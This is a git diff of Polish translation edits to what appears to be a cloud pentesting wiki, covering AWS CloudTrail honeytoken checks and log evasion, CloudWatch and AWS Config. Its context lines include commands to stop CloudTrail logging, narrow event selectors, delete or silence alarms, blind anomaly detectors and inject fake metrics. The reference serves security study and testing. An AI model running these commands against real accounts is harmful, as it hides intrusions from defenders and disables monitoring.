 import binascii
@@ -181,23 +181,23 @@ return (e)
 
 print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
 ```
-Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
+Sprawdź więcej informacji w [**oryginalnych badaniach**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
 
 #### Nie generuj logu
 
 Najskuteczniejsza technika w tym przypadku jest właściwie prosta. Po prostu użyj klucza, który właśnie znalazłeś, aby uzyskać dostęp do jakiejś usługi w swoim własnym koncie atakującego. To spowoduje, że **CloudTrail wygeneruje log w TWOIM WŁASNYM koncie AWS, a nie w koncie ofiary**.
 
-Chodzi o to, że wynik pokaże błąd wskazujący na identyfikator konta i nazwę konta, więc **będziesz mógł zobaczyć, czy to jest Honeytoken**.
+Chodzi o to, że wynik pokaże błąd wskazujący na identyfikator konta i nazwę konta, więc **będziesz mógł zobaczyć, czy to Honeytoken**.
 
 #### Usługi AWS bez logów
 
 W przeszłości istniały niektóre **usługi AWS, które nie wysyłały logów do CloudTrail** (znajdź [listę tutaj](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Niektóre z tych usług **odpowiedzą** z **błędem** zawierającym **ARN roli klucza**, jeśli ktoś nieautoryzowany (klucz honeytoken) spróbuje uzyskać do nich dostęp.
 
-W ten sposób **atakujący może uzyskać ARN klucza bez wywoływania jakiegokolwiek logu**. W ARN atakujący może zobaczyć **identyfikator konta AWS i nazwę**, łatwo jest poznać identyfikator konta i nazwy firm HoneyToken, więc w ten sposób atakujący może zidentyfikować, czy token jest HoneyToken.
+W ten sposób **atakujący może uzyskać ARN klucza bez wywoływania jakiegokolwiek logu**. W ARN atakujący może zobaczyć **identyfikator konta AWS i nazwę**, łatwo jest poznać identyfikatory kont i nazwy firm HoneyToken, więc w ten sposób atakujący może zidentyfikować, czy token jest HoneyToken.
 
 ![](<../../../../images/image (93).png>)
 
-> [!CAUTION]
+> [!OSTRZEŻENIE]
 > Zauważ, że wszystkie publiczne API, które odkryto, że nie tworzą logów CloudTrail, zostały teraz naprawione, więc być może będziesz musiał znaleźć swoje własne...
 >
 > Aby uzyskać więcej informacji, sprawdź [**oryginalne badania**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
@@ -228,7 +228,7 @@ aws cloudtrail stop-logging --name [trail-name]
 ```bash
 aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
 ```
-#### Wyłącz logowanie za pomocą selektorów zdarzeń
+#### Wyłączanie logowania za pomocą selektorów zdarzeń
 ```bash
 # Leave only the ReadOnly selector
 aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
@@ -255,7 +255,7 @@ aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration
 
 #### Ransomware S3
 
-Możesz **wygenerować klucz asymetryczny** i sprawić, aby **CloudTrail szyfrował dane** tym kluczem oraz **usunąć klucz prywatny**, aby zawartość CloudTrail nie mogła zostać odzyskana.\
+Możesz **wygenerować klucz asymetryczny** i sprawić, że **CloudTrail zaszyfruje dane** tym kluczem, a następnie **usunąć klucz prywatny**, aby zawartość CloudTrail nie mogła zostać odzyskana.\
 To jest zasadniczo **ransomware S3-KMS** wyjaśnione w:
 
 {{#ref}}
@@ -264,7 +264,7 @@ To jest zasadniczo **ransomware S3-KMS** wyjaśnione w:
 
 **Ransomware KMS**
 
-To najprostszy sposób na przeprowadzenie poprzedniego ataku z różnymi wymaganiami dotyczącymi uprawnień:
+To najłatwiejszy sposób na przeprowadzenie poprzedniego ataku z różnymi wymaganiami dotyczącymi uprawnień:
 
 {{#ref}}
 ../../aws-post-exploitation/aws-kms-post-exploitation.md
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
index 69740cad1..1399d19c2 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
@@ -4,7 +4,7 @@
 
 ## CloudWatch
 
-**CloudWatch** **zbiera** dane monitorujące i operacyjne **w formie** logów/metryk/wydarzeń, zapewniając **jednolity widok zasobów AWS**, aplikacji i usług.\
+**CloudWatch** **zbiera** dane monitorujące i operacyjne **w formie logów/metryk/wydarzeń**, zapewniając **jednolity widok zasobów AWS**, aplikacji i usług.\
 CloudWatch Log Event ma **ograniczenie rozmiaru 256KB na każdą linię logu**.\
 Może ustawiać **alarmy o wysokiej rozdzielczości**, wizualizować **logi** i **metryki** obok siebie, podejmować automatyczne działania, rozwiązywać problemy i odkrywać spostrzeżenia w celu optymalizacji aplikacji.
 
@@ -33,7 +33,7 @@ Metryki to punkty danych zbierane w czasie, które reprezentują wydajność lub
 
 ### Wymiary
 
-Wymiary to pary klucz-wartość, które są częścią metryk. Pomagają one unikalnie zidentyfikować metrykę i dostarczają dodatkowego kontekstu, przy czym maksymalna liczba wymiarów, które można powiązać z metryką, wynosi 30. Wymiary umożliwiają również filtrowanie i agregowanie metryk na podstawie określonych atrybutów.
+Wymiary to pary klucz-wartość, które są częścią metryk. Pomagają unikalnie zidentyfikować metrykę i dostarczają dodatkowego kontekstu, przy czym maksymalna liczba wymiarów, które można powiązać z metryką, wynosi 30. Wymiary umożliwiają również filtrowanie i agregowanie metryk na podstawie określonych atrybutów.
 
 - **Przykład**: Dla instancji EC2 wymiary mogą obejmować InstanceId, InstanceType i AvailabilityZone.
 
@@ -53,20 +53,20 @@ Jednostki to typ pomiaru związany z metryką. Jednostki pomagają dostarczyć k
 
 ### Dashboard
 
-**Dashboardy CloudWatch** zapewniają dostosowywane **widoki metryk AWS CloudWatch**. Możliwe jest tworzenie i konfigurowanie dashboardów w celu wizualizacji danych i monitorowania zasobów w jednym widoku, łącząc różne metryki z różnych usług AWS.
+**CloudWatch Dashboards** zapewniają dostosowywane **widoki metryk AWS CloudWatch**. Możliwe jest tworzenie i konfigurowanie pulpitów nawigacyjnych w celu wizualizacji danych i monitorowania zasobów w jednym widoku, łącząc różne metryki z różnych usług AWS.
 
 **Kluczowe funkcje**:
 
-- **Widżety**: Elementy budujące dashboardy, w tym wykresy, tekst, alarmy i inne.
-- **Dostosowanie**: Układ i zawartość mogą być dostosowane do specyficznych potrzeb monitorowania.
+- **Widżety**: Elementy budujące pulpity nawigacyjne, w tym wykresy, tekst, alarmy i inne.
+- **Dostosowanie**: Układ i zawartość mogą być dostosowane do konkretnych potrzeb monitorowania.
 
 **Przykład zastosowania**:
 
-- Jeden dashboard pokazujący kluczowe metryki dla całego środowiska AWS, w tym instancji EC2, baz danych RDS i kubełków S3.
+- Jeden pulpit nawigacyjny pokazujący kluczowe metryki dla całego środowiska AWS, w tym instancji EC2, baz danych RDS i kubełków S3.
 
 ### Strumień metryk i dane metryczne
 
-**Strumienie metryk** w AWS CloudWatch umożliwiają ciągłe przesyłanie metryk CloudWatch do wybranego miejsca docelowego w niemal rzeczywistym czasie. Jest to szczególnie przydatne do zaawansowanego monitorowania, analityki i niestandardowych dashboardów przy użyciu narzędzi spoza AWS.
+**Strumienie metryk** w AWS CloudWatch umożliwiają ciągłe przesyłanie metryk CloudWatch do wybranego miejsca w niemal rzeczywistym czasie. Jest to szczególnie przydatne do zaawansowanego monitorowania, analityki i niestandardowych pulpitów nawigacyjnych przy użyciu narzędzi spoza AWS.
 
 **Dane metryczne** w strumieniach metryk odnoszą się do rzeczywistych pomiarów lub punktów danych, które są przesyłane. Te punkty danych reprezentują różne metryki, takie jak wykorzystanie CPU, użycie pamięci itp., dla zasobów AWS.
 
@@ -77,22 +77,22 @@ Jednostki to typ pomiaru związany z metryką. Jednostki pomagają dostarczyć k
 
 ### Alarm
 
-**Alarmy CloudWatch** monitorują twoje metryki i wykonują działania na podstawie zdefiniowanych progów. Gdy metryka przekroczy próg, alarm może wykonać jedno lub więcej działań, takich jak wysyłanie powiadomień za pośrednictwem SNS, uruchamianie polityki automatycznego skalowania lub uruchamianie funkcji AWS Lambda.
+**Alarmy CloudWatch** monitorują Twoje metryki i wykonują działania na podstawie zdefiniowanych progów. Gdy metryka przekroczy próg, alarm może wykonać jedną lub więcej akcji, takich jak wysyłanie powiadomień za pośrednictwem SNS, uruchamianie polityki automatycznego skalowania lub uruchamianie funkcji AWS Lambda.
 
 **Kluczowe komponenty**:
 
 - **Próg**: Wartość, przy której alarm się uruchamia.
 - **Okresy oceny**: Liczba okresów, w których dane są oceniane.
 - **Punkty danych do alarmu**: Liczba okresów z osiągniętym progiem potrzebna do uruchomienia alarmu.
-- **Działania**: Co się dzieje, gdy stan alarmu jest uruchamiany (np. powiadomienie za pośrednictwem SNS).
+- **Akcje**: Co się dzieje, gdy stan alarmu jest uruchamiany (np. powiadomienie za pośrednictwem SNS).
 
 **Przykład zastosowania**:
 
 - Monitorowanie wykorzystania CPU instancji EC2 i wysyłanie powiadomienia za pośrednictwem SNS, jeśli przekroczy 80% przez 5 kolejnych minut.
 
-### Wykrywacze anomalii
+### Detektory anomalii
 
-**Wykrywacze anomalii** wykorzystują uczenie maszynowe do automatycznego wykrywania anomalii w twoich metrykach. Możesz zastosować wykrywanie anomalii do dowolnej metryki CloudWatch, aby zidentyfikować odchylenia od normalnych wzorców, które mogą wskazywać na problemy.
+**Detektory anomalii** wykorzystują uczenie maszynowe do automatycznego wykrywania anomalii w Twoich metrykach. Możesz zastosować wykrywanie anomalii do dowolnej metryki CloudWatch, aby zidentyfikować odchylenia od normalnych wzorców, które mogą wskazywać na problemy.
 
 **Kluczowe komponenty**:
 
@@ -103,15 +103,15 @@ Jednostki to typ pomiaru związany z metryką. Jednostki pomagają dostarczyć k
 
 - Wykrywanie nietypowych wzorców wykorzystania CPU w instancji EC2, które mogą wskazywać na naruszenie bezpieczeństwa lub problem z aplikacją.
 
-### Reguły spostrzeżeń i zarządzane reguły spostrzeżeń
+### Reguły Insight i zarządzane reguły Insight
 
-**Reguły spostrzeżeń** pozwalają na identyfikację trendów, wykrywanie szczytów lub innych interesujących wzorców w danych metrycznych, wykorzystując **potężne wyrażenia matematyczne** do definiowania warunków, w których powinny być podejmowane działania. Te reguły mogą pomóc w identyfikacji anomalii lub nietypowych zachowań w wydajności i wykorzystaniu zasobów.
+**Reguły Insight** pozwalają na identyfikację trendów, wykrywanie szczytów lub innych interesujących wzorców w danych metrycznych, wykorzystując **potężne wyrażenia matematyczne** do definiowania warunków, w których powinny być podejmowane działania. Te reguły mogą pomóc w identyfikacji anomalii lub nietypowych zachowań w wydajności i wykorzystaniu zasobów.
 
-**Zarządzane reguły spostrzeżeń** to wstępnie skonfigurowane **reguły spostrzeżeń dostarczane przez AWS**. Są zaprojektowane do monitorowania konkretnych usług AWS lub powszechnych przypadków użycia i mogą być włączane bez potrzeby szczegółowej konfiguracji.
+**Zarządzane reguły Insight** to wstępnie skonfigurowane **reguły insight dostarczane przez AWS**. Są zaprojektowane do monitorowania konkretnych usług AWS lub powszechnych przypadków użycia i mogą być włączane bez potrzeby szczegółowej konfiguracji.
 
 **Przykład zastosowania**:
 
-- Monitorowanie wydajności RDS: Włącz zarządzaną regułę spostrzeżeń dla Amazon RDS, która monitoruje kluczowe wskaźniki wydajności, takie jak wykorzystanie CPU, użycie pamięci i I/O dysku. Jeśli którakolwiek z tych metryk przekroczy bezpieczne progi operacyjne, reguła może uruchomić alert lub automatyczną akcję łagodzącą.
+- Monitorowanie wydajności RDS: Włącz zarządzaną regułę insight dla Amazon RDS, która monitoruje kluczowe wskaźniki wydajności, takie jak wykorzystanie CPU, użycie pamięci i I/O dysku. Jeśli którakolwiek z tych metryk przekroczy bezpieczne progi operacyjne, reguła może uruchomić alert lub automatyczną akcję łagodzącą.
 
 ### Logi CloudWatch <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
 
@@ -119,14 +119,14 @@ Pozwala na **agregację i monitorowanie logów z aplikacji** i systemów z **us
 
 **Elementy**:
 
-| **Grupa logów**         | **kolekcja strumieni logów**, które dzielą te same ustawienia przechowywania, monitorowania i kontroli dostępu                                                     |
+| **Grupa logów**         | **Kolekcja strumieni logów**, które dzielą te same ustawienia przechowywania, monitorowania i kontroli dostępu                                      |
 | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| **Strumień logów**      | Sekwencja **zdarzeń logów**, które dzielą **ten sam źródło**                                                                                                |
+| **Strumień logów**      | Sekwencja **zdarzeń logów**, które dzielą **ten sam źródło**                                                                                             |
 | **Filtry subskrypcyjne**| Definiują **wzorzec filtru, który pasuje do zdarzeń** w danej grupie logów, wysyłają je do strumienia Kinesis Data Firehose, strumienia Kinesis lub funkcji Lambda |
 
 ### Monitorowanie i zdarzenia CloudWatch
 
-CloudWatch **podstawowy** agreguje dane **co 5 minut** (ten **szczegółowy** robi to **co 1 minutę**). Po agregacji **sprawdza progi alarmów**, aby zobaczyć, czy należy uruchomić jeden.\
+CloudWatch **podstawowy** agreguje dane **co 5 minut** (ten **szczegółowy** robi to **co 1 minutę**). Po agregacji **sprawdza progi alarmów**, aby zobaczyć, czy należy uruchomić jeden z nich.\
 W takim przypadku CloudWatch może być przygotowany do wysłania zdarzenia i wykonania pewnych automatycznych działań (funkcje AWS lambda, tematy SNS, kolejki SQS, strumienie Kinesis)
 
 ### Instalacja agenta
@@ -216,9 +216,9 @@ aws events list-event-buses
 
 ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
 
-Atakujący z tymi uprawnieniami mógłby znacząco osłabić infrastrukturę monitorowania i powiadamiania organizacji. Usuwając istniejące alarmy, atakujący mógłby wyłączyć kluczowe powiadomienia, które informują administratorów o krytycznych problemach z wydajnością, naruszeniach bezpieczeństwa lub awariach operacyjnych. Ponadto, tworząc lub modyfikując alarmy metryczne, atakujący mógłby również wprowadzać administratorów w błąd fałszywymi powiadomieniami lub uciszać uzasadnione alarmy, skutecznie maskując złośliwe działania i uniemożliwiając terminowe reakcje na rzeczywiste incydenty.
+Atakujący z tymi uprawnieniami mógłby znacznie osłabić infrastrukturę monitorowania i powiadamiania organizacji. Usuwając istniejące alarmy, atakujący mógłby wyłączyć kluczowe powiadomienia, które informują administratorów o krytycznych problemach z wydajnością, naruszeniach bezpieczeństwa lub awariach operacyjnych. Ponadto, tworząc lub modyfikując alarmy metryczne, atakujący mógłby również wprowadzać administratorów w błąd fałszywymi powiadomieniami lub uciszać uzasadnione alarmy, skutecznie maskując złośliwe działania i uniemożliwiając terminowe reakcje na rzeczywiste incydenty.
 
-Dodatkowo, z uprawnieniem **`cloudwatch:PutCompositeAlarm`**, atakujący mógłby stworzyć pętlę lub cykl alarmów złożonych, gdzie alarm złożony A zależy od alarmu złożonego B, a alarm złożony B również zależy od alarmu złożonego A. W tym scenariuszu nie jest możliwe usunięcie jakiegokolwiek alarmu złożonego, który jest częścią cyklu, ponieważ zawsze istnieje jeszcze alarm złożony, który zależy od alarmu, który chcesz usunąć.
+Dodatkowo, z uprawnieniem **`cloudwatch:PutCompositeAlarm`**, atakujący mógłby stworzyć pętlę lub cykl alarmów złożonych, gdzie alarm złożony A zależy od alarmu złożonego B, a alarm złożony B również zależy od alarmu złożonego A. W tym scenariuszu nie jest możliwe usunięcie jakiegokolwiek alarmu złożonego, który jest częścią cyklu, ponieważ zawsze istnieje alarm złożony, który zależy od alarmu, który chcesz usunąć.
 ```bash
 aws cloudwatch put-metric-alarm --cli-input-json <value> | --alarm-name <value> --comparison-operator <value> --evaluation-periods <value> [--datapoints-to-alarm <value>] [--threshold <value>] [--alarm-description <value>] [--alarm-actions <value>] [--metric-name <value>] [--namespace <value>] [--statistic <value>] [--dimensions <value>] [--period <value>]
 aws cloudwatch delete-alarms --alarm-names <value>
@@ -254,7 +254,7 @@ Przykład poniżej pokazuje, jak uczynić alarm metryczny nieskutecznym:
 ```
 {{#endtab }}
 
-{{#tab name="Zmodyfikowane Alarmy Metryczne" }}
+{{#tab name="Zmodyfikowany Alarm Metryczny" }}
 ```json
 {
 "Namespace": "AWS/EC2",
@@ -279,30 +279,30 @@ Przykład poniżej pokazuje, jak uczynić alarm metryczny nieskutecznym:
 {{#endtab }}
 {{#endtabs }}
 
-**Potencjalny wpływ**: Brak powiadomień o krytycznych zdarzeniach, potencjalne niezauważone problemy, fałszywe alerty, tłumienie prawdziwych alertów i potencjalnie pominięte wykrycia rzeczywistych incydentów.
+**Potencjalny wpływ**: Brak powiadomień o krytycznych zdarzeniach, potencjalne niewykryte problemy, fałszywe alerty, tłumienie prawdziwych alertów i potencjalnie pominięte wykrycia rzeczywistych incydentów.
 
 ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`**
 
-Usuwając akcje alarmowe, atakujący może zapobiec uruchomieniu krytycznych powiadomień i automatycznych odpowiedzi, gdy osiągnięty zostanie stan alarmu, na przykład powiadamianie administratorów lub uruchamianie działań auto-skalowania. Niewłaściwe włączanie lub ponowne włączanie akcji alarmowych może również prowadzić do nieoczekiwanych zachowań, zarówno przez reaktywację wcześniej wyłączonych akcji, jak i przez modyfikację, które akcje są uruchamiane, co może powodować zamieszanie i błędne kierowanie w odpowiedzi na incydenty.
+Usuwając akcje alarmowe, atakujący może zapobiec wyzwoleniu krytycznych alertów i automatycznych odpowiedzi, gdy osiągnięty zostanie stan alarmu, na przykład powiadamianie administratorów lub uruchamianie działań auto-skalowania. Niewłaściwe włączanie lub ponowne włączanie akcji alarmowych może również prowadzić do nieoczekiwanych zachowań, zarówno przez reaktywację wcześniej wyłączonych akcji, jak i przez modyfikację, które akcje są wyzwalane, co może powodować zamieszanie i błędne kierowanie w odpowiedzi na incydenty.
 
-Ponadto, atakujący z odpowiednimi uprawnieniami mógłby manipulować stanami alarmów, mając możliwość tworzenia fałszywych alarmów, aby odwrócić uwagę i zdezorientować administratorów, lub wyciszać prawdziwe alarmy, aby ukryć trwające złośliwe działania lub krytyczne awarie systemu.
+Ponadto, atakujący z odpowiednimi uprawnieniami mógłby manipulować stanami alarmów, mając możliwość tworzenia fałszywych alarmów, aby odwrócić uwagę i zdezorientować administratorów, lub uciszać prawdziwe alarmy, aby ukryć trwające złośliwe działania lub krytyczne awarie systemu.
 
-- Jeśli użyjesz **`SetAlarmState`** na alarmie złożonym, alarm złożony nie ma gwarancji, że powróci do swojego rzeczywistego stanu. Powraca do swojego rzeczywistego stanu tylko wtedy, gdy którykolwiek z jego alarmów podrzędnych zmieni stan. Jest również ponownie oceniany, jeśli zaktualizujesz jego konfigurację.
+- Jeśli użyjesz **`SetAlarmState`** na alarmie złożonym, alarm złożony nie ma gwarancji powrotu do swojego rzeczywistego stanu. Powraca do swojego rzeczywistego stanu tylko wtedy, gdy którykolwiek z jego alarmów podrzędnych zmieni stan. Jest również ponownie oceniany, jeśli zaktualizujesz jego konfigurację.
 ```bash
 aws cloudwatch disable-alarm-actions --alarm-names <value>
 aws cloudwatch enable-alarm-actions --alarm-names <value>
 aws cloudwatch set-alarm-state --alarm-name <value> --state-value <OK | ALARM | INSUFFICIENT_DATA> --state-reason <value> [--state-reason-data <value>]
 ```
-**Potencjalny wpływ**: Brak powiadomień o krytycznych zdarzeniach, potencjalne niezauważone problemy, fałszywe alerty, tłumienie prawdziwych alertów i potencjalnie pominięte wykrycia rzeczywistych incydentów.
+**Potencjalny wpływ**: Brak powiadomień o krytycznych zdarzeniach, potencjalne problemy niewykryte, fałszywe alerty, tłumienie prawdziwych alertów i potencjalnie pominięte wykrycia rzeczywistych incydentów.
 
 ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
 
-Napastnik mógłby skompromitować zdolność do wykrywania i reagowania na nietypowe wzorce lub anomalie w danych metrycznych. Usuwając istniejące detektory anomalii, napastnik mógłby wyłączyć krytyczne mechanizmy powiadamiania; a tworząc lub modyfikując je, mógłby albo błędnie skonfigurować, albo stworzyć fałszywe alarmy, aby odwrócić uwagę lub przytłoczyć monitoring.
+Napastnik mógłby skompromitować zdolność do wykrywania i reagowania na nietypowe wzorce lub anomalie w danych metrycznych. Usuwając istniejące detektory anomalii, napastnik mógłby wyłączyć krytyczne mechanizmy powiadamiania; a tworząc lub modyfikując je, mógłby źle skonfigurować lub stworzyć fałszywe pozytywy, aby odwrócić uwagę lub przytłoczyć monitoring.
 ```bash
 aws cloudwatch delete-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value>]
 aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value> --configuration <value> --metric-characteristics <value>]
 ```
-Przykład ten pokazuje, jak uczynić detektor anomalii metrycznych nieskutecznym. Ten detektor anomalii metrycznych monitoruje średnie wykorzystanie CPU konkretnej instancji EC2, a dodanie parametru „ExcludedTimeRanges” z pożądanym zakresem czasowym wystarczy, aby zapewnić, że detektor anomalii nie analizuje ani nie alarmuje o żadnych istotnych danych w tym okresie.
+Przykład poniżej pokazuje, jak uczynić detektor anomalii metrycznych nieskutecznym. Ten detektor anomalii metrycznych monitoruje średnie wykorzystanie CPU konkretnej instancji EC2, a dodanie parametru „ExcludedTimeRanges” z pożądanym zakresem czasowym wystarczy, aby zapewnić, że detektor anomalii nie analizuje ani nie alarmuje o żadnych istotnych danych w tym okresie.
 
 {{#tabs }}
 {{#tab name="Original Metric Anomaly Detector" }}
@@ -323,7 +323,7 @@ Przykład ten pokazuje, jak uczynić detektor anomalii metrycznych nieskutecznym
 ```
 {{#endtab }}
 
-{{#tab name="Zmodyfikowany detektor anomalii metryki" }}
+{{#tab name="Zmodyfikowany detektor anomalii metrycznych" }}
 ```json
 {
 "SingleMetricAnomalyDetector": {
@@ -364,7 +364,7 @@ aws cloudwatch put-dashboard --dashboard-name <value> --dashboard-body <value>
 
 ### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRule`**
 
-Reguły insight są używane do wykrywania anomalii, optymalizacji wydajności i efektywnego zarządzania zasobami. Usuwając istniejące reguły insight, atakujący mógłby usunąć krytyczne możliwości monitorowania, pozostawiając system ślepym na problemy z wydajnością i zagrożenia bezpieczeństwa. Dodatkowo, atakujący mógłby tworzyć lub modyfikować reguły insight, aby generować wprowadzające w błąd dane lub ukrywać złośliwe działania, co prowadziłoby do błędnych diagnoz i niewłaściwych reakcji zespołu operacyjnego.
+Reguły insight są używane do wykrywania anomalii, optymalizacji wydajności i efektywnego zarządzania zasobami. Usuwając istniejące reguły insight, atakujący mógłby usunąć krytyczne możliwości monitorowania, pozostawiając system niewidomym na problemy z wydajnością i zagrożenia bezpieczeństwa. Dodatkowo, atakujący mógłby tworzyć lub modyfikować reguły insight, aby generować wprowadzające w błąd dane lub ukrywać złośliwe działania, co prowadziłoby do błędnych diagnoz i niewłaściwych reakcji ze strony zespołu operacyjnego.
 ```bash
 aws cloudwatch delete-insight-rules --rule-names <value>
 aws cloudwatch put-insight-rule --rule-name <value> --rule-definition <value> [--rule-state <value>]
@@ -386,10 +386,10 @@ aws cloudwatch enable-insight-rules --rule-names <value>
 Atakujący z uprawnieniami **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** mógłby tworzyć i usuwać strumienie danych metrycznych, kompromitując bezpieczeństwo, monitorowanie i integralność danych:
 
 - **Tworzenie złośliwych strumieni**: Tworzenie strumieni metrycznych w celu wysyłania wrażliwych danych do nieautoryzowanych miejsc.
-- **Manipulacja zasobami**: Tworzenie nowych strumieni metrycznych z nadmiernymi danymi mogłoby generować dużo szumów, powodując błędne alerty, maskując prawdziwe problemy.
+- **Manipulacja zasobami**: Tworzenie nowych strumieni metrycznych z nadmiernymi danymi mogłoby generować dużo hałasu, powodując błędne alerty, maskując prawdziwe problemy.
 - **Zakłócenie monitorowania**: Usuwając strumienie metryczne, atakujący zakłóciliby ciągły przepływ danych monitorujących. W ten sposób ich złośliwe działania byłyby skutecznie ukryte.
 
-Podobnie, z uprawnieniem **`cloudwatch:PutMetricData`**, możliwe byłoby dodawanie danych do strumienia metrycznego. Mogłoby to prowadzić do DoS z powodu ilości niewłaściwych danych dodanych, czyniąc go całkowicie bezużytecznym.
+Podobnie, z uprawnieniem **`cloudwatch:PutMetricData`**, możliwe byłoby dodawanie danych do strumienia metrycznego. Mogłoby to prowadzić do DoS z powodu ilości niewłaściwych danych, czyniąc go całkowicie bezużytecznym.
 ```bash
 aws cloudwatch delete-metric-stream --name <value>
 aws cloudwatch put-metric-stream --name <value> [--include-filters <value>] [--exclude-filters <value>] --firehose-arn <value> --role-arn <value> --output-format <value>
@@ -399,11 +399,11 @@ Przykład dodawania danych odpowiadających 70% wykorzystania CPU na danej insta
 ```bash
 aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg"
 ```
-**Potencjalny wpływ**: Zakłócenie przepływu danych monitorujących, wpływające na wykrywanie anomalii i incydentów, manipulacja zasobami oraz wzrost kosztów z powodu tworzenia nadmiernych strumieni metryk.
+**Potencjalny wpływ**: Zakłócenie przepływu danych monitorujących, wpływające na wykrywanie anomalii i incydentów, manipulację zasobami oraz wzrost kosztów z powodu tworzenia nadmiernych strumieni metryk.
 
 ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**
 
-Napastnik kontrolowałby przepływ danych metryk w dotkniętych strumieniach (każdy strumień danych, jeśli nie ma ograniczeń zasobów). Posiadając uprawnienie **`cloudwatch:StopMetricStreams`**, napastnicy mogliby ukryć swoje złośliwe działania, zatrzymując krytyczne strumienie metryk.
+Napastnik mógłby kontrolować przepływ danych strumieni metryk (każdy strumień danych, jeśli nie ma ograniczeń zasobów). Posiadając uprawnienie **`cloudwatch:StopMetricStreams`**, napastnicy mogliby ukryć swoje złośliwe działania, zatrzymując krytyczne strumienie metryk.
 ```bash
 aws cloudwatch stop-metric-streams --names <value>
 aws cloudwatch start-metric-streams --names <value>
@@ -412,7 +412,7 @@ aws cloudwatch start-metric-streams --names <value>
 
 ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`**
 
-Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CloudWatch (obecnie tylko alarmy i zasady Contributor Insights). Może to zakłócić polityki kontroli dostępu w Twojej organizacji oparte na tagach.
+Atakujący mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CloudWatch (obecnie tylko alarmy i zasady Contributor Insights). Może to zakłócić polityki kontroli dostępu w Twojej organizacji oparte na tagach.
 ```bash
 aws cloudwatch tag-resource --resource-arn <value> --tags <value>
 aws cloudwatch untag-resource --resource-arn <value> --tag-keys <value>
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md
index 131eb16a0..d94dc1741 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md
@@ -6,12 +6,12 @@
 
 AWS Config **rejestruje zmiany zasobów**, więc każda zmiana w zasobie obsługiwanym przez Config może być zarejestrowana, co **zarejestruje, co się zmieniło wraz z innymi przydatnymi metadanymi, wszystko przechowywane w pliku znanym jako element konfiguracji**, CI. Ta usługa jest **specyficzna dla regionu**.
 
-Element konfiguracji lub **CI**, jak to się nazywa, jest kluczowym komponentem AWS Config. Składa się z pliku JSON, który **przechowuje informacje o konfiguracji, informacje o relacjach i inne metadane jako widok migawki w danym momencie obsługiwanego zasobu**. Wszystkie informacje, które AWS Config może zarejestrować dla zasobu, są przechwytywane w CI. CI jest tworzony **za każdym razem**, gdy w obsługiwanym zasobie dokonano jakiejkolwiek zmiany w jego konfiguracji. Oprócz rejestrowania szczegółów dotyczących dotkniętego zasobu, AWS Config zarejestruje również CI dla wszelkich bezpośrednio powiązanych zasobów, aby upewnić się, że zmiana nie wpłynęła również na te zasoby.
+Element konfiguracji lub **CI**, jak to się nazywa, jest kluczowym komponentem AWS Config. Składa się z pliku JSON, który **przechowuje informacje o konfiguracji, informacje o relacjach i inne metadane jako widok migawki w danym momencie obsługiwanego zasobu**. Wszystkie informacje, które AWS Config może zarejestrować dla zasobu, są przechwytywane w CI. CI jest tworzony **za każdym razem**, gdy w obsługiwanym zasobie dokonano jakiejkolwiek zmiany w konfiguracji. Oprócz rejestrowania szczegółów dotyczących dotkniętego zasobu, AWS Config zarejestruje również CI dla wszelkich bezpośrednio powiązanych zasobów, aby upewnić się, że zmiana nie wpłynęła również na te zasoby.
 
 - **Metadane**: Zawiera szczegóły dotyczące samego elementu konfiguracji. Identyfikator wersji i identyfikator konfiguracji, który unikalnie identyfikuje CI. Inne informacje mogą obejmować MD5Hash, który pozwala porównywać inne CI już zarejestrowane w odniesieniu do tego samego zasobu.
-- **Atrybuty**: Zawiera wspólne **informacje o atrybutach w odniesieniu do rzeczywistego zasobu**. W tej sekcji mamy również unikalny identyfikator zasobu oraz wszelkie tagi klucz-wartość, które są powiązane z zasobem. Typ zasobu jest również wymieniony. Na przykład, jeśli był to CI dla instancji EC2, wymienione typy zasobów mogłyby obejmować interfejs sieciowy lub elastyczny adres IP dla tej instancji EC2.
